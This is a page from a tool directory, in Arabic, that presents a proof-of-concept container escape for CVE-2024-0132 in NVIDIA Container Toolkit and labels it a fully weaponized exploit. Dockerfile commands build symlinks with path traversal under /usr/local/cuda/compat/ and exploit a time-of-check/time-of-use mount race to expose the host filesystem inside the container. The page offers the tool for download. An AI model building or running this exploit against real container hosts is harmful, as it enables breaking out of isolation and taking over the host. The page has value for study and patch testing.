Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-0132 — CVE-2024-0132 – استغلال مُسلَّح بالكامل لـ NVIDIA Container Toolkit | Kitploit
أدوات/GitHubGitHub/r0binak/cve-2024-0132
تصعيد الامتيازاتأمن الحاوياتتحليل الثغرات الأمنيةالاستغلالأمن السحابةالهروب من الحاوية
GitHubr0binak/cve-2024-0132

CVE-2024-0132

CVE-2024-0132 – استغلال مُسلَّح بالكامل لـ NVIDIA Container Toolkit

عرض المستودع
613منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-0132

CVE-2024-0132 PoC

لنبدأ باختيار صورة أساسية. يعتمد ترتيب المكتبات في النظام على نوع الصورة الأساسية المستخدمة. على سبيل المثال، بالنسبة لـ alpine سيكون المسار /usr/lib64/، وبالنسبة لـ ubuntu سيكون /usr/lib/x86_64-linux-gnu. سنستخدم ubuntu كصورة أساسية.

root@kitploit:~
FROM ubuntu

تتحقق حزمة أدوات nvidia containter toolkit من المكتبات الموجودة في /usr/local/cuda/compat/ داخل الحاوية ثم تقوم بتركيبها في دليل المكتبات الرئيسي، وبالنسبة لهذه الصورة (ubuntu) سيكون هذا الدليل /usr/lib/x86_64-linux-gnu.

الروابط (Links) تُركَّب أيضًا، لذا يمكنك تركيب أي ملف ودليل من الصورة إلى /usr/lib/x86_64-linux-gnu. يتم التحقق من أن الرابط يُحل داخل الحاوية، ولا يمكنه استخدام عدة ../ لتجاوز المسار (path traversal). ومع ذلك، يمكن التحايل على ذلك باستخدام التركيب داخل الحاوية عبر /usr/local/cuda/compat/ مرتين، ومن هنا جاء اسم TOCTOU.

اقرأ المزيد عن آلية التركيب من /usr/local/cuda/compat/:

  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_container.c#L61
  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_mount.c#L768
root@kitploit:~
RUN mkdir -p /usr/local/cuda/compat/

أنشئ دليلين:

  1. سيحتوي الدليل الأصلي على ملف عادي بمحتوى test
root@kitploit:~
RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
  1. سيحتوي الدليل الثاني الذي يحمل الاسم نفسه على رابط (link) يستخدم تجاوز المسار بدلاً من ملف.
root@kitploit:~
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

تم اختيار الاسم libdxcore.so لتلبية عوامل التصفية (filters). يجب أن يختلف الإصدار الرئيسي (1337) عن إصدار برنامج التشغيل الفعلي.

أنشئ رابطين في /usr/local/cuda/compat/:

  1. سيستبدل الرابط الأول محتويات الدليل الأصلي /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ بمحتويات /pwn/libdxcore.so.1337/
root@kitploit:~
RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
  1. الرابط الثاني يقوم بتركيب /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs إلى /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. أثناء الفحص سيكون ملفًا عاديًا، لكن في لحظة التركيب سيكون رابطًا كان موجودًا في /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs، وبالتالي سيتم تركيب نظام ملفات المضيف في /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.
root@kitploit:~
RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2
تنزيل الأداة